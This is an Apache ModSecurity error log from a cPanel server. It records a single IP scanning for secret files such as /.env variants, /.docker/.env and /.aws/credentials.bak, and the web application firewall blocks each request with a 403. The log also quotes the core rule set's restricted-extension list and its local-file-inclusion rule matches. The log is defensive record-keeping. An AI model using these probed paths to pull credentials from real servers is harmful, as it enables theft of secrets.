[Mon Oct 26 22:21:29.226121 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:50892] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.docker/.env"] [unique_id "auAKqbHarSgES5WqcDhKjAAAAAU"]
[Mon Oct 26 22:21:29.501499 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:50870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqMSPa3-L2OSmntaJ8AAAAAI"]
[Mon Oct 26 22:21:29.650439 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:50882] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqLRvv9rueX6FuiOcmAAAAAM"]
[Mon Oct 26 22:21:29.701363 2026] [security2:error] [pid 3100940:tid 3100940] [client 34.79.59.9:50886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqD77nSD73jfhp0aF1gAAAAc"]
[Mon Oct 26 22:21:29.647779 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:50936] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auAKqeNHR3WH6txPzi7mDQAAAA0"]
[Mon Oct 26 22:21:29.703389 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:50936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.aws/credentials.bak"] [unique_id "auAKqeNHR3WH6txPzi7mDQAAAA0"]
[Mon Oct 26 22:21:29.764269 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:50892] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqbHarSgES5WqcDhKjAAAAAU"]
[Mon Oct 26 22:21:29.828115 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auAKqc8F3ZZVbqNCqKaAbwAAAAo"]
[Mon Oct 26 22:21:29.828296 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.aws"] [unique_id "auAKqc8F3ZZVbqNCqKaAbwAAAAo"]
[Mon Oct 26 22:21:29.828311 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auAKqcSPa3-L2OSmntaJ8gAAAAI"]
[Mon Oct 26 22:21:29.828449 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.backup"] [unique_id "auAKqcSPa3-L2OSmntaJ8gAAAAI"]
[Mon Oct 26 22:21:29.841952 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqc8F3ZZVbqNCqKaAbwAAAAo"]
[Mon Oct 26 22:21:29.842046 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqc8F3ZZVbqNCqKaAbwAAAAo"]
[Mon Oct 26 22:21:29.842068 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqc8F3ZZVbqNCqKaAbwAAAAo"]
[Mon Oct 26 22:21:29.850046 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqcSPa3-L2OSmntaJ8gAAAAI"]
[Mon Oct 26 22:21:29.941323 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auAKqTS1e-yu7xYT1dr9twAAAAk"]
[Mon Oct 26 22:21:29.941534 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.dev"] [unique_id "auAKqTS1e-yu7xYT1dr9twAAAAk"]
[Mon Oct 26 22:21:29.954363 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.79.59.9:44622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqTS1e-yu7xYT1dr9twAAAAk"]
[Mon Oct 26 22:21:30.196996 2026] [security2:error] [pid 3142581:tid 3142581] [client 34.79.59.9:50936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqeNHR3WH6txPzi7mDQAAAA0"]
[Mon Oct 26 22:21:30.214479 2026] [ssl:error] [pid 3142594:tid 3142594] (70014)End of file found: [client 54.90.8.255:4807] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:21:30.347024 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44618] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auAKqrRvv9rueX6FuiOcmwAAAAM"]
[Mon Oct 26 22:21:30.347270 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.bak"] [unique_id "auAKqrRvv9rueX6FuiOcmwAAAAM"]
[Mon Oct 26 22:21:30.360147 2026] [security2:error] [pid 3130075:tid 3130075] [client 34.79.59.9:44618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqrRvv9rueX6FuiOcmwAAAAM"]
[Mon Oct 26 22:21:30.554527 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44648] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auAKqrHarSgES5WqcDhKjQAAAAU"]
[Mon Oct 26 22:21:30.554765 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44648] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.docker"] [unique_id "auAKqrHarSgES5WqcDhKjQAAAAU"]
[Mon Oct 26 22:21:30.554809 2026] [security2:error] [pid 3142593:tid 3142593] [client 34.79.59.9:44656] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAKqh_I76jAUbrHaklt9gAAAA4"]
[Mon Oct 26 22:21:30.555100 2026] [security2:error] [pid 3142593:tid 3142593] [client 34.79.59.9:44656] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.example"] [unique_id "auAKqh_I76jAUbrHaklt9gAAAA4"]
[Mon Oct 26 22:21:30.568049 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.79.59.9:44648] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqrHarSgES5WqcDhKjQAAAAU"]
[Mon Oct 26 22:21:30.568671 2026] [security2:error] [pid 3142593:tid 3142593] [client 34.79.59.9:44656] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqh_I76jAUbrHaklt9gAAAA4"]
[Mon Oct 26 22:21:30.626567 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44662] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auAKqs8F3ZZVbqNCqKaAcAAAAAo"]
[Mon Oct 26 22:21:30.626800 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44662] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.old"] [unique_id "auAKqs8F3ZZVbqNCqKaAcAAAAAo"]
[Mon Oct 26 22:21:30.638039 2026] [security2:error] [pid 3137125:tid 3137125] [client 34.79.59.9:44662] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqs8F3ZZVbqNCqKaAcAAAAAo"]
[Mon Oct 26 22:21:30.646287 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44668] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auAKqvYA9VE6YOVz3TBNHQAAABE"]
[Mon Oct 26 22:21:30.646564 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44668] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.live"] [unique_id "auAKqvYA9VE6YOVz3TBNHQAAABE"]
[Mon Oct 26 22:21:30.657777 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.59.9:44668] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqvYA9VE6YOVz3TBNHQAAABE"]
[Mon Oct 26 22:21:30.702661 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auAKqsSPa3-L2OSmntaJ8wAAAAI"]
[Mon Oct 26 22:21:30.702981 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.local"] [unique_id "auAKqsSPa3-L2OSmntaJ8wAAAAI"]
[Mon Oct 26 22:21:30.714585 2026] [security2:error] [pid 3122519:tid 3122519] [client 34.79.59.9:44660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqsSPa3-L2OSmntaJ8wAAAAI"]
[Mon Oct 26 22:21:30.783669 2026] [security2:error] [pid 3142576:tid 3142576] [client 34.79.59.9:44624] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auAKqu44qtqHfJCH50FNmQAAAAA"]
[Mon Oct 26 22:21:30.783964 2026] [security2:error] [pid 3142576:tid 3142576] [client 34.79.59.9:44624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.env.development"] [unique_id "auAKqu44qtqHfJCH50FNmQAAAAA"]
[Mon Oct 26 22:21:30.795297 2026] [security2:error] [pid 3142576:tid 3142576] [client 34.79.59.9:44624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "auAKqu44qtqHfJCH50FNmQAAAAA"]
